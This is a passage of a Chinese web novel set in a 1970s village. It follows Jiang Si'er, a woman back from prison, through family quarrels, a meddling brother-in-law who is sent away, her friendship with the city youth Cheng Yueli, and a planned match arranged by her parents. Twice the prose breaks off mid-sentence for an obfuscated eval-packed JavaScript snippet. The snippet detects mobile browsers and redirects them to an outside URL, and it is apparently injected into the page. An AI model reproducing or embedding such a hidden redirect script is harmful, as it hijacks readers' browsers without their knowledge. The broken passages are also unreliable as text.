“我不要。”姜四儿摆摆手,看到他就反感。 “你拿着,别不好意思。”方感勇拦着不让她走。 奇了怪了,怎么这姜四儿和其他人口中说的完全不一样,不是说这个女的很随便很放浪吗?怎么看着脑子很笨的样子?给她糖都不知道拿着。 俩人在这拉扯,因为春花的下工回家,方感勇松开了手。 姜四儿跑到妈妈身边赶紧又将刚才发生的事给说了,春花听了后一言不发,眉宇间满是忧愁。四女儿这一回来,家里被搅和得很不安宁。 两天后, S市的贺明峥收到一封加急电报,来自表妹程月梨。 但看到电报里的内容【送一件裤子过来】,贺明峥知道这封电报肯定是姜四儿让程月梨发过来的。 俩人以前在生产队偷偷摸摸谈恋爱时,姜四儿有时会穿贺明峥的裤子。 乡下大家干活穿的裤子大多是宽松的深蓝色或军绿色棉裤,缝缝补补洗得发白,大多时候不分男女。 所以姜四儿经常大胆地穿上贺明峥的裤子,把裤脚卷起,没人会看出端倪来。 这次,姜四儿发来电报要一件裤子,就是想要贺明峥平日里穿的裤子。 贺明峥看到电报都快要气笑了,明明已经说好了分手,对方却像是没听到一样。 “服了。”贺明峥自言自语地将电报收好,并不回复。 第一次没回,第二次没回,第三次来了电报,贺明峥还是没回。 单位有人给贺明峥介绍对象,面对同事调侃,贺明峥说出能气死领导的话, “我很享受单身的生活,单身很好,不必在一棵树上吊死。” 好心介绍对象的领导听了这种不老实的话,直接当场愣住不知道怎么接。 这小贺同志工作认真,怎么思想这么腐败。说什么不在一棵树上吊死,难道想找一片森林? 这种思想觉悟,会影响单位风气。 “明峥啊,工作方面你做的很好,个人生活也要跟上。这次介绍的对象家庭成分没问题,父母是农场干部,她本人是工人,长相和你也很匹配,俏得很,厂里最漂亮的一枝花。听我劝,去好好了解一下。” “宫主任,找对象有什么好的,事事都要被管着,三天两头的吵架,除了气哭我还能干什么?我还年轻,还想再玩玩,找对象的事等我玩够了再说。” 宫主任:“.............” 这是什么坏小子语录? 而且小贺同志这话,咋听着像谈过似的。 18. 重修 10.1日早晨,每个大队都有的一个广播播放国歌,不管是清晨出工的还是在家干家务的,此时都朝着同一个方向一起跟着唱国歌。 广播关闭后,姜四儿继续干着手头的活计,屋外头,一群人三三俩俩地扛着农具挡板,一看就知道是去晒稻谷的。 人群中,程月梨看到姜四儿了,朝她挥手。 中午休息吃饭时间,程月梨拿着几个玩具来找姜四儿,顺便蹭饭吃。 过去一个月她的劳动表现垫底,生产队长开会的时候把程月梨的工分从七分降到了五分,以后她出一天工满工就是五分。 而习惯了大手大脚生活的程月梨真正感受到危机的时候是她这两天再也从队里借不到粮食了。 往日习惯用粮食换各种蔬菜瓜果和木柴的程月梨现在啥也不敢换了,每月紧紧守着国家给他们知青发放的三十斤口粮。 除了节流还得开源,程月梨今天来找姜四儿蹭饭吃。 只要不触及到底线,姜四儿是个好说话的。而姜木匠也是个非常好客好面子的,春花更是老实懦弱。所以对于程月梨今天蹭饭的行为,姜家人不但没说什么,反而热情招待。 “来就来,还送什么礼。”姜木匠佯装生气,春花在老伴儿身边拘谨笑着。 程月梨不能说这是他表哥当初交代过的,要把这些东西,慢慢地找机会一样一样地交到姜四儿手上。 “我那里东西太多了,一个人玩也没意思,”程月梨撒谎道,“四儿姐姐是我在这里最好的朋友,送她点东西算什么。” 程月梨拿出四个玩具给姜四儿,这些都是给姜四儿的,但是当姜四儿只选择了其中一个电动小汽车时,程月梨窃喜。 ‘表哥,这可不怪我,是她自己推脱只要一个就行了。’程月梨用这个理由替自己辩解。 姜家所有人都不急着吃饭了,全都围着那玩具车看。 ‘乡下土包子,没见识,’程月梨心想,“这些用电池的玩具车算什么好东西,那个遥控的飞机玩具才是最贵最稀有的。” 那种玩具车程月梨几年前就玩腻了,而没被姜四儿选走的遥控飞机,至少程月梨她老爸走南闯北的也没见过。 而现在,在场的每个人都觉得自己占到了大便宜。 中午姜家吃的是一大锅清炖的豆芽玉米,等程月梨蹭完了一碗豆芽拌玉米离开,姜家人立马开始议论起了她。 “这些城里来的人真蠢。”姜木匠嘿嘿笑。 姜老三他们也觉得程月梨脑子有问题。 姜二丫拉着四妹说悄悄话,“这个人还真不错,前几天送你很多吃的,现在又给你玩具玩。” 四儿点点头,爱不释手地看着手心里的黄色小汽车。 靠电池驱动的塑料小车里面还有个塑料做的小人司机,小人司机头上戴着帽子,憨态可掬。 把车子放在地上,按下车身一个按钮,车子开始前行。 “哇!!!”在几米外的门后偷偷观察的姜小芯笑得大声又激动,一会儿想跑出去看,一会儿又想拉着妈妈一起看。 在姜小芯不知道该迈左脚还是右脚时,春花牵起孩子的手,拎着越过高高的门槛,一起来到院子里看向那个正在爬坡的小汽车。 乡下土地是泥土的地面,坑坑洼洼,不平整,小汽车努力爬过一个又一个小坑,让围观群众也紧张起来。 “呜~它爬不起来了。”姜小芯撇嘴,一脸难过。 姜四儿走过去把小汽车从一个坑里解救出来,“芯芯,你过来,给你玩。” 姜四儿讲解玩法,姜家其他人都凑了过去。 不管是小孩子,还是春花姜木匠这样的大人,也都对这玩具很眼馋。 乡下不像城里有那么多好玩的玩具,像姜木匠春花这样半辈子在土地里劳作的人,突然出现的色彩鲜艳的新鲜玩具车对他们也很有吸引力。 拿到小汽车使用权的姜小芯反而有些拘束,“谢谢四姐姐,但是我怕把它弄坏。” 孩子不太敢玩,最后是姜四儿手把手带着她按下了车子的那个按钮。 孩子很快玩疯了,跟在玩具车后面跑,满院子都是孩子开心的笑声。 姜木匠蹲在地上看了好一会儿,眼里满是艳羡,但他说不出‘孩子,你先别玩了,让我玩一会儿’这种话。 抿了抿嘴,姜木匠捡起了地上那张被四儿随手扔掉的说明书的纸张,安静看着。 几分钟后,姜木匠走到姜小芯身边,告诉她这个车子不仅可以向前,还能退后。 解锁了另一个玩法,这下就更好玩了,姜小芯不一会儿就出了一身的汗。 姜四儿看着看着就忍不住跟在姜小芯后头,隔一会儿就找机会亲一下孩子红扑扑的小脸蛋儿,而姜小芯也没抗拒对方的亲亲。 姜老三几乎是下意识就看好戏般地朝二姐看过去,果然,二姐已经沉下了脸。 中午休息一会儿后,生产队长如往常一样喊话让大家出工。 下午大家提前了两个小时下工,然后整个大队各个生产小队在大队部集合,在公社的统一时间听着广播里传来的广播员的播报。 公社广播里有文化的小知青正在读报读稿,组织大家学习,各个大队的广播里传来她铿锵有力的声音。 姜四儿正听得认真,就听到斜后方传来几个知青的轻笑声,其中以程月梨笑得最轻蔑。 “就这普通话还能给我们读报,笑掉大牙。”程月梨撇嘴。 姜四儿不喜欢程月梨这种行为,但也没说什么。 一个小时的学习时间结束后,大队的干部开始开会,全程围绕着歌颂祖国这个核心。 姜四儿一边听一边提笔记录重要的点,突然,肩膀被人拍了下,回头一看,是程月梨和其他人换了地方,来到了姜四儿身后。 “开会而已,你这么认真干什么?”程月梨问。 姜四儿不认同程月梨的说法,“我喜欢学习,你有什么事开完会再说。” 程月梨耸耸肩。 又是一个小时后,会议结束前一秒,书记告诉大家最后一件事,“为了庆祝国庆,公社给我们申请了放映电影,各个大队按顺序依次播放。” 人群中顿时爆发欢呼声,连平日淡淡的姜四儿也高兴地和大家一起叫了起来。 “啧,”程月梨越发觉得无聊,一个电影而已,至于吗。 解散回去的路上,程月梨和姜四儿手挽手。经过这些天的相处,俩人还真成为了玩得比较好的伙伴。 俩人叽叽喳喳聊了一路。 “欸,对了,我一直想问你呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586555|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天我给你带过去那么多玩具,你怎么不选飞机?那个玩具车有什么好玩的。” “飞机?”姜四儿反应了很久,她根本不知道什么是飞机。 “我喜欢车,”姜四儿腼腆道,“我觉得车子象征自由。” “你喜欢车?”程月梨惊讶,没想到姜四儿虽然生在乡下,但是野心一点也不小,竟然喜欢现实生活中有车的生活。 车啊,多贵,她爸妈都买不起一辆小汽车。 “也不算是喜欢车吧,我是喜欢开车。” 开上车,吹着风,可以想去哪儿就去哪儿,说走就走,说停就停。 这是她坐牢时最渴望的东西————自由。 “哦,你想当司机?”程月梨倒是能接受这个理由。 “嗯,我的梦想是当司机,能开车去任何我想去的地方。” “那你如果现在能有车开,你最想去的地方是哪儿?” 姜四儿低头踢了踢脚下的石子儿,诚实道:“我想去S市。” “哦~~S市。”程月梨瞬间秒懂对方的意思。 S市,自己表哥贺明峥现在所在的地方。 俩人说说笑笑,丝毫没注意到身后猥琐跟着偷听的方感勇。 方感勇没回姜家,反正姜家现在还没做晚饭,所以他跟着一群男知青回到知青点闲聊。 他每次闲聊要么吐槽老丈人,要么吐槽媳妇儿,而今天,他吐槽的是姜四儿。 “一个坐过牢的,还想当司机,笑死人。”方感勇将自己偷听的说给几个男知青听。 几个男知青谈笑间,忽被几个小泥块给扔中。顺着方向一看,是趴在男女寝公共墙头上的程月梨在朝他们扔东西。 刚才偷听一切的程月梨见众人注意力都在自己身上了,不屑一笑,“我说方感勇,你可真有意思,一天到晚说老丈人家的坏话就算了,现在连小姨子都不放过。” 程月梨本来是不想和方感勇闹翻的,毕竟都是城里来的知识青年,但她实在是忍不了这死人了。 “我们方知青,大家都知道,他平日里喜欢穿着个白衬衫,戴着个眼镜,抄袭古人几篇诗词在那装文化人。对,这就是大家都熟知的他勾引女同志的手段,姜老三那个清秀的女同志就是这么被他勾引到手的。” “你少在这胡说八道!”方感勇皱眉。 程月梨哼道,“我还没说完呢,刚才说的是大家都熟知的你的手段,还有大家不熟知的呢。” 这话还真引起了其他所有男女知青们的注意。 方感勇不知道她要说什么,却莫名有些心慌,让程月梨住嘴。 程月梨挑挑眉,继续挑衅,“诸位,几天前,我可是亲眼所见,我们这个方知青,把自己的脏裤子脏衣服扔到他小姨子手上,强迫人家给他洗脏衣服。人家小姨子拒绝,他就破口大骂。” “程月梨,你诬陷我!你住嘴!” 方感勇怎么也想不到这个女人敢把这种丢人的事给说出去,还是在大庭广众下说了出去。 ‘这些女人!!这些女人!!程月梨一个,姜四儿也是一个,这些女人都不知道羞耻的吗!!!!’方感勇如此想着,又怒又羞,在其他知青异样的眼神中,承受不住,一下子胸口疼得瞬间栽倒在地蜷缩着,脸色惨白如纸。 19. 重修 小地方的事很快就能传遍,程月梨把方感勇做的那猥琐事说出来后,第二天生产队下地的人一传十十传百,都知道了。 “哪个正经男人让小姨子洗自己的脏衣服,也太不像话。”“我看你就是头发长见识短,乱嚼舌根,洗个裤子衬衫而已,又不是洗内裤。”“小姑娘家家的不懂,我们这些结了婚的人还不懂吗?分明就是别有用心。”“不过要我说,那姜四儿也不是什么好东西,从小身边就一群男人围着。现在坐牢回来没男人搭理她了,她就去勾引自己三姐夫。”“苍蝇不叮无缝的蛋,两个人都不是好东西。” .............. 议论声沸沸扬扬,一开始方感勇和姜四儿都受到了抨击,不出两天,抨击声大都对准了姜四儿。 这种结果是程月梨始料未及的,明明整件事中最无辜的就是姜四儿,做错事的是方感勇,把事捅破的是自己,可被风言风语攻击的最后只剩下姜四儿。 “乡巴佬们,不可理喻。”程月梨又生气又对姜四儿感到愧疚。 姜家这几天气氛更是诡异,姜木匠和春花连续几晚上都没怎么睡觉。 不管谁对谁错,但自从姜四儿回来后家里鸡犬不宁是事实,两口子很快动了心思,想给姜四儿寻一门亲事。等四女儿嫁出去,一切终将回归平静。 “四儿再过两月就要23岁了,该结婚了,村里像她这么大的都结婚生子了。只有咱们家,二丫一个,四儿一个,心比天高,”春花叹气,“有时候长得太漂亮也不是好事,长得太漂亮了眼光就高。” “哪就那么漂亮了,二丫四儿那不都没大妞好看吗,”姜木匠心里大女儿才是各方面都排第一的,“就按你说的办,给四儿找门亲事,男方家庭条件长相什么的都是次要的,主要是那个男人得勤快,公婆也得勤快,这样一家子才能把日子过好。” “我明天就和支书老婆说说,她名堂多。”春花放下心。 第二天一早,春花还没出工就开始摸黑去了支书老婆家里密聊介绍对象的事。 支书老婆一听可开心了,她就爱做媒。 “你放心,你家四儿的事包在我身上。虽说她坐过牢,现在勾引三姐夫的名声也不好,但是她长得漂亮啊,又年轻,还是头婚。所以别看他们表面上装模作样的,真要四儿嫁给他们,就算坐过牢那也不是事儿。” 一番话说得春花也自信了起来。 当天上午十点,会计扛着个锄头经过一片芝麻地,随便扫了一眼,就注意到地里缺了一人。 “小程知青呢?” 在锄地的人们汗如雨下,听到突然的问话抬起头,各个都不清楚那人去哪儿了。 会计轻蔑地笑了一声,拿出纸笔记录,程月梨今天的工分别想要了。 而会计在寻找的程月梨此时在大队一片鱼塘的坡上偷偷摘着刀豆。 绿色新鲜的刀豆,厚实果肉多,程月梨看着咽了咽口水,她这些天除了蹭饭吃就是自己吃粥吃点米饭,一点菜都没有,她要馋菜馋疯了。 摸了一篮子刀豆,程月梨赶去姜四儿那里,让她帮忙藏好自己的赃物。 “这是你偷的?”姜四儿有些为难,放下手上扎扫帚的绳子,蹲下打开那个LV圆筒包,看到了里面满满的刀豆。 “这怎么叫偷呢,”程月梨反驳,“那鱼塘的坡上本来就是无主之地,那无主之地上长出来的东西,我当然可以摘。” “可生产队也有规定,所谓的无主之地就是公家财产,这些刀豆应该统一归生产队,等到了摘的时候再按工分比例分给大家。” “哎哟我的天呐,就这么一点儿东西,你确定要和我上纲上线吗?”程月梨知道她心软,撒娇道,“你帮我把这些刀豆晾晒干,然后用点辣椒和盐水拌一拌放在坛子里,藏在你那小砖房,这样没人能抓住我把柄。可不可以可不可以可不可以~~~” “好好好,别晃我胳膊了,头晕,”姜四儿叹气,“就这一次,以后别摘那些东西了,想吃什么来我家里,我家里一点腌菜还是有的。” “我现在可不敢再来你家里吃饭,我把你三姐夫做的丑事说出去,你家里人肯定烦死我了,”程月梨很惭愧,“说起来我还得和你说声对不起,我没想到这件事会连累你。明明我骂的是你三姐夫,但是现在生产队那些人都说你的坏话,说你不正经,我真的气死了,我和他们吵架他们还笑我。” 姜四儿摇摇头,“没事,我不怪你。” 虽然听了那些话会心里难受,但是经历过太多次这种中伤她的流言蜚语,渐渐的也能承受住。 “反正我知道永远会有一个人站在我身后支持我,这就够了。”姜四儿坚定道。 程月梨眯起眼睛看她,“你说的这个人,不会是我表哥吧?” “嗯。”姜四儿羞涩点头。 程月梨:“............” “不是,我,你,我.....”程月梨嘴巴张了半晌说不出一句完整的话。 “我真的是服了,我表哥在你心中竟然这么伟大?他明明是个负心汉,要和你撇清关系,你怎么会觉得他是那个永远站在你身后支持你的人?” “没有啊,他不是负心汉,我和他只是因为我坐牢的事暂时分开而已,他心里还是喜欢我的。” “为什么你会觉得他心里还有你?你确定他还爱你?” “当然,他可喜欢我了,当年下乡的时候他还小着呢,见我第一眼就喜欢我想睡我————” “噗!”程月梨差点原地栽倒。 她本以为姜四儿是个清纯又笨笨的漂亮村花,没想到能如此坦然地说出这些虎狼之词。 “你.....”程月梨羞红了脸,偷偷瞧姜四儿的神色。 姜四儿虽然害羞说那些话,但整个人都很自信,一副真的像是被爱包裹的模样。 “你别不信我,你表哥只爱过我一个,以后也只会爱我,他说过的。” “男人说的话能信吗?” 姜四儿撇嘴,如桃花一般甜蜜淡粉的嘴唇嘟囔起来,“我信他,他不爱我还能爱谁。” 程月梨力竭了,摇摇头。 此时,大门外熟悉的小凉鞋声音响起。 “四姐姐,四姐姐。” 姜小芯迈着小腿快步跑着,“四姐姐,我的饼干都吃完了。” 程月梨给姜四儿的那些饼干巧克力,姜小芯分走了大部分,现在已经全部吃完。 “怎么可能,那么多吃的都没了?”姜四儿自己一盒饼干能偷偷摸摸吃上半个月。 “都没了,没了。”姜小芯摊开两只小手拍了拍。 程月梨把这虎头虎脑的小可爱抱过来亲了又亲,“我知道你的零食都是怎么吃完的,你天天带出去给那些小伙伴们分享,是不是?” 姜小芯心虚地眨眼,去观察四姐姐的脸色。 姜四儿很无奈,叹了口气但也没说什么。 “小孩子这样很正常,你别生小芯的气,小芯是个爱分享的好孩子。”程月梨挺喜欢这孩子的。 “你不知道,”姜四儿皱眉,“那些孩子家里的长辈吃好东西时经常不给芯芯吃,比如上个月有人家里吃板栗,就那么硬生生看芯芯馋着也不给她分一颗板栗吃。我二姐说有孩子家里吃糍粑,芯芯馋得流口水,那些孩子的家长一直无动于衷。” 这样的事情多了,姜四儿也不想芯芯像个傻子一样老是吃亏。她自己能吃亏,但是不能看着芯芯吃亏。 生产队家家户户都不是很富裕,能填饱肚子已经不容易,有好吃的都不会分享给外人的孩子。只有芯芯傻乎乎的,交朋友就付出一切。 姜四儿脸色不好看,姜小芯感受到大人糟糕的情绪后,忍着小眼泪不敢哭,委屈极了。 “没事,没事,一点吃的而已,阿姨有时间了去公社给你买。”程月梨抱着孩子在院子里边散步边哄着。 那孩子很快就接纳了这个老是笑眯眯的阿姨。 程月梨情绪稳定,对小孩子来说很有吸引力。 等程月梨被会计当场抓包喊去干活,姜小芯也拿出家里的小铲子跟在程阿姨身后要去帮忙。一大一小就这么跟在会计身后,一起朝芝麻地出发。 当天中午,春花下工回家吃饭的路上被支书老婆给叫住。 “有一个五大队的青年,家里两个兄弟,都没结婚,那个小儿子和你家四儿相同年纪,人很高,一米八,长得俊,爸妈很能干,不懒。” “不行不行,两个兄弟的不行,要是做父母的偏心,我家四儿岂不是没好日子过。” “还有一个,也是五大队的,那小伙子矮了些,没刚才那个好看。” “长相身高不是问题。” “那就行,他是独生子,父母一辈子累死累活只为他一个,家里存款目前八百块出头,家里每年年底结账时都不倒欠生产队的,还能攒个几十块。” “这个好这个好,就介绍这个。” “那行,国庆节请的放映队后天正好下乡来咱们大队放映电影,人家父母到时候会来咱们这里看电影,我估摸着他们肯定会远远地看一眼你家四儿,看她的行为举止,看人正不正常,你明天给你家四儿打扮好一点。” “好好好,我明天下午就和队长请假,带四儿去公社买衣服。” 人逢喜事精神爽,春花满脸止不住的笑容。 就算一直到晚上吃晚饭的时候只差姜小芯一个还没回家,春花也没生气。 “我去找她。”二丫担心孩子的安全,头一个骑着单车冲了出去找人。 当在知青点宿舍看到那个和程月梨一起烧火准备做饭的姜小芯,姜二丫的嫉妒之火冉冉升起。 “这么晚了还不知道回家,你信不信我打死你。”姜二丫拎着满脸灰尘的小妹坐上单车。 “梨姐姐,你明天还带我玩。”姜小芯从二姐姐怀里探出头,对着程月梨笑呵呵地喊。 “欸。”程月梨答应。 姜二丫瞬间沉下脸来,心里已经决定明天要把小芯再带去公社。 二丫很讨厌公社食品站切猪肉的工作,但这份工作油水很大,她不得不接受,她没有选择。 每天痛苦的工作结束,二丫最开心的就是能回家见到姜小芯,这个她一直带大的孩子能抚平二丫心中所有对未来的焦躁不安。 每个月发工资时,二丫最高兴的就是能拿上工资去公社买很多零食给姜小芯,然后看着姜小芯欢天喜地地朝自己跑过来。 这是独属于她姜二丫的快乐,她不允许任何人夺走,姜四儿不行,程月梨也不行。 第二天一早,姜二丫要带小芯去公社。 以前都听话的姜小芯这次却怎么都不愿意。 当姜小芯在四儿姐姐和梨姐姐那里见识过更好吃更好玩的东西,姜二丫的好就变得不具有唯一性了。 小孩子就是这么天真残忍,三岁前每天依赖在二姐姐身边,一会儿找不到二姐姐就要哭闹。 三岁后渐渐见识了更多新奇的玩意儿,不再那么黏人了,而是被程月梨那里的玩具迷住了。 “你个白眼狼。”姜二丫急了怒了,直接强硬地拽起孩子就要往单车上放。 春花想说些什么又住了嘴,只是一个劲地叹气。 姜老三冷冷笑了声,乐得看好戏。她现在是看四妹不爽,也一直看二姐不爽,谁吃瘪她都开心。 就在孩子大哭时,姜四儿忍不住上前阻止,立马撞到了枪口上。 姜二丫的怒火顿时有了发泄的地方,对着四妹破口大骂。 “你们谁也没资格劝我,从小一夜起床几次给孩子喂牛奶羊奶的是我,一直带孩子不离手的也是我,这几年我一个完整觉都没睡过。最难带的时候过去了,这时候你来装好人,门儿都没有!” 姜二丫手指戳到了四妹额头上,姜四儿觉得理亏,也不敢再拦着。 孩子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586556|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么被强硬地拽上了单车,姜二丫骑着单车离开。 把孩子带去食品站,姜二丫接手工作,拿出围裙围在自己身上,把挡板拿开,排队买肉的人一窝蜂地涌上前。 在食品站哭得没了力气的孩子被其他职工带去后面房子里,姜小芯哭累了一个人玩着手指,后来,又偷偷摸摸跑去供销社去找大姐姐。 但是供销社人挤人,比食品站还要忙。 姜小芯在供销社门外徘徊了一会儿,又撒开腿跑去了大姐姐的婆家刘家。 刘家人一个转身去给孙儿蒸鸡蛋羹的工夫,再回来,就看到一岁多孙儿的身边站着一个三岁的小娃儿。 “哎哟芯芯啊,你什么时候来的?”姜大妞婆婆笑着走过去。 一碗鸡蛋羹分别喂姜小芯一口,又喂自家孙儿一口。 姜小芯抱着小表弟,俩孩子吃完鸡蛋羹在地上倒来倒去地玩,很快就忘却了那点不愉快。 等姜二丫发现孩子不见了时,已经是中午了。 而在家吃午饭的姜大妞公婆已经从孩子口中听说了整件事情的全部经过。 等姜二丫找孩子找到刘家来时,姜大妞公婆把二丫教育了一顿。 “小孩子爱玩是天性,你一个上班的人,孩子肯定不爱待在你身边。”“说到底这孩子只是你的小妹,你这么喜欢孩子就自己生一个。” 俩老的话把姜二丫说哭了。 这个刀子嘴豆腐心的女人也很委屈,“以前小芯最黏我,现在长大了,嫌弃我身上有猪腥味,和别的人亲。” “孩子不就是这样吗,从小带到大也没用,就和自己亲爹妈亲。你要想得开,趁自己还年轻漂亮有资本,赶紧结婚生一个自己的孩子。妹妹只是妹妹,和自己亲生的孩子肯定比不过。” 姜二丫擦了擦眼泪,“我也想结婚,就是没找到一个好的。” 她要是能找到大姐夫刘途那样的对象,早结婚了。 大姐夫家庭条件好,长得好,身材也好,对大姐更是好得没话说,姜二丫就想找个大姐夫这样的,或者是城里的有钱人也行。 姜大妞公婆对视一眼,想了想,道:“你大姐也常和我们说,有好苗子给你留意着,你放心,只要你不是太挑,这种事包在我们身上。” 姜二丫点点头,要带姜小芯离开。 姜小芯死活不肯,没办法,最后姜小芯在刘家又玩了一下午。 晚上,下班回来的刘途亲自骑着单车送这个3岁的小妹回家,姜二丫心酸地跟在后面。 在家做晚饭的四儿知道大姐夫来了后,又被老爹吩咐多做几道菜。 在姜四儿做饭的工夫,刘途抱着小妹进了岳父岳母的房间,说着悄悄话。 公社下乡送东西的邮递员和刘途是好兄弟,经常会给刘途说一说姜家的新闻。 “爸,妈,最近听到些不好的事,”刘途捂着小妹的耳朵,“有人说三妹夫欺负四妹,有这回事吗?” 两老神情尴尬,“那是那些人太夸张了,乱说的。” 刘途沉默了一会儿,最终决定道:“让三妹三妹夫搬出去住吧,家里二丫和四儿两个未婚的姑娘,小芯也还小,有三妹夫在,不合适。这是我的意思,也是大妞的意思。” 一听是大妞的意思,姜木匠没有不同意的。 春花却不乐意了,三女儿没工作又没嫁个好的,最可怜,还让她搬出去,得多狠的心呐。 但春花也不敢直接反驳大女婿,便轻声打着商量,“其实这事我和你爸心里有数,我们已经在给四儿找婆家了。” “给四妹找婆家是一回事,让三妹夫三妹搬出去是另一回事,两件事可以同时进行。”刘途神情严肃。 他家境好,打心底里也认为自己比岳父岳母更能抗事,所以不乐意岳母在这种决定上反驳自己。 姜木匠最尊敬大女婿了,当场狠狠瞪了自家婆娘一眼让她闭嘴。 春花心里又气又急,却无可奈何。没了三女儿,家里还有谁和她一条心呐。 “爸,妈,大姐夫,猪油炒鸡蛋做好了,赶紧出来趁热吃。”姜四儿在窗户外敲了敲。 一家人坐在一个大桌上,姜小芯紧紧挨着大姐夫,刘途自己吃得少,主要是给姜小芯夹菜喂饭。 姜二丫在对面看得很嫉妒又心酸,没什么胃口。 姜老三和亲妈嘀咕着什么,也没认真吃饭。 姜四儿太累了,更是没胃口。 饭桌上只有一个方感勇,眼珠子提溜着乱转,突然起身,夹了一块鸡蛋到大姐夫碗里,“姐夫,你觉得四儿可以考证开车吗?” “……………”全场突然一片寂静,谁也不懂方感勇突然说这事干什么。 刘途温柔地给小妹喂饭,许久后直到方感勇都有些尴尬了才回答他,“不清楚这些事。” “哦,”方感勇又笑,“四妹想拿驾驶证,你们家能帮忙让她去车队学习吗?” 姜四儿急了,赶紧解释,“大姐夫你别听他的,我没有——” 刘途看了过去,笑着示意没事。 姜四儿放心了,朝大姐夫歉意地点点头。 姜木匠在此时发话了,让方感勇闭嘴。 方感勇嗤笑一声,他刚才已经从妻子那里得知自己要被赶出去了,当然懒得再给这些人面子,就想怼人,尤其想怼一下这个刘途, “哎呀,我这不是看大姐夫家里挺有本事的吗,都能靠关系把大姐和二姐搞进去供销社和食品站,怎么就不能帮一把四妹完成她的心愿呢。你们刘家,不是在这公社手眼通天吗?” 刘途慢条斯理地继续给小妹喂菜,全程只对这个三妹夫淡淡地撇了一眼,那一眼,带着毫不在意的笑意。 不是看不起,而是毫不在意方感勇这个人。就像是方感勇这个人是好是坏都无所谓,他在刘途眼里连一粒沙子的存在感都不如。 这种不在意,比鄙视更侮辱人,深深刺痛了方感勇的自尊心。 20. 重修 刘途在姜家吃过晚饭,骑着单车离开前,姜木匠把这段时间家里晒干的辣椒都包好放进了大女婿的菜篮子里。 姜老三心疼那些给出去的东西,在心里重重叹了口气。 “路上注意安全。”姜木匠目送着大女婿离开。 刘途走后,姜木匠去找了大队长,方感勇下乡后户口也在生产队,现在又结婚了,理应自立门户。姜木匠的意思是,把三女儿迁出自己的户口本,让老三和方感勇自己在生产队分块地建个属于他们自己的房子。 大队长也同意,“孩子就不能惯着。” 俩人商量过后,姜木匠回家召集全部孩子说了这事: [离姜家一百米的地方,隔着姜家一条水沟的一个塘上,那块地可以拿出来给姜老三和方感勇建个属于自己的屋子。姜家帮忙给建房子,在房子建好之前,方感勇去住知青点宿舍。] 即使刚才在饭桌上已经听妈妈说过要自己搬出去的事,可现在亲耳听到老爸把一切事情都定好了,姜老三还是觉得无比的愤怒。 姜老三知道这一切都是大姐夫决定的,一直都这样,老爸就听大姐夫的,大姐夫说的就是圣旨。 而听到这个决定的方感勇并没有出头说什么,他知道一切有这个脾气暴躁的媳妇儿出面,他只需躲在媳妇儿身后。 这个晚上,姜家再次爆发了大争吵,生产队其他地方的人都能听到。 一直默不作声的姜四儿等方感勇拎着行李去了知青点,脸上瞬间绽放笑颜,笑得开心又得意,像个终于赶跑姐夫的小坏蛋。她马上跑去自己的小砖房,把所有零食都抱了过来,摊开在姜家人面前。 刚才还吵架吵得撕心裂肺的姜家人咽了咽口水,不可置信地看着这些好东西。 这些都是程月梨断断续续给姜四儿送的东西,被小芯拿走大部分后,现在还剩两盒曲奇饼干三盒蛋卷,以及两包李子干,剩下的就是三包红糖和一包白糖了。 姜四儿在三姐夫终于给赶走后才舍得把这些东西拿出来分享。 “你这孩子....”姜木匠感慨万千。 而在美食和丈夫之间,姜老三犹豫了一会儿,马上扑过去开始和二姐小妹抢着吃饼干,把丈夫被赶出去的愤怒抛之脑后。 没了方感勇那个搅屎棍,姜家迎来了短暂的温馨和谐。 “妈,妈妈!这个好吃,好甜呐。”姜老三拿了一个去核的李子干递给妈妈。 春花吃着这果肉又多又甜的蜜饯,心里也美滋滋的。 蛋卷很香,奶香味十足,曲奇饼干是他们从没见过的东西,那几包红糖白糖,更是最珍贵的物资,一家人光是看着就心满意足。 “二丫,给你大姐大姐夫拿两包红糖,明天你上班的时候给他们带过去。” “爸,还用得着你说,早几天我就给大姐那边送过去了。” “好,好。这才像话,你们姐妹间感情好,我和你妈吃再多苦受再多罪都乐意。” 这话一出,二丫老三和四儿都感动地红了眼眶,鼻头酸酸的。 零食全部吃完后,各自散了去休息,剩下的四包糖被春花锁进了柜子里。 二丫听到爸妈房间里有说话声,把小妹哄睡后走过去一看,只见老爸睡在了长椅上,而妈妈和三妹睡在爸妈床上,一家人摇着扇子在那窃窃私语。 “你们说什么呢?”二丫眼神止不住地朝床上看过去,要说不羡慕是不可能的,她很羡慕三妹现在这么大了还和妈妈一起睡的亲密无间。 “聊你四妹的婚事,”春花笑道,“明天晚上放电影的人下乡给咱们大队放电影,到时候男方一家人也会过来看电影,顺道看看你四妹。” 二丫恍然大悟,难怪今天老妈出钱给四妹去公社买了件成衣,那件带碎花的白色衬衣可不便宜。爸妈平时节俭得很,十几年了也没舍得给他们自己买件新衣服,也只有在女儿的终身大事上才舍得花钱。 “这事四妹知道吗?”二丫又问。 “明天她自然就知道了。”春花怕提前说了四女儿不乐意。 姜二丫觉得这事不靠谱,但她其实也很希望四妹能尽快嫁出去。不为别的,就是怕四妹和自己抢小芯。 “男方那边知道四妹坐过牢吗?” “知道知道,这事不可能瞒着人家,”姜木匠对自己女儿很自信,“找不着老婆的男人大有人在,那些人有什么好挑的,你四妹差在哪儿了?” 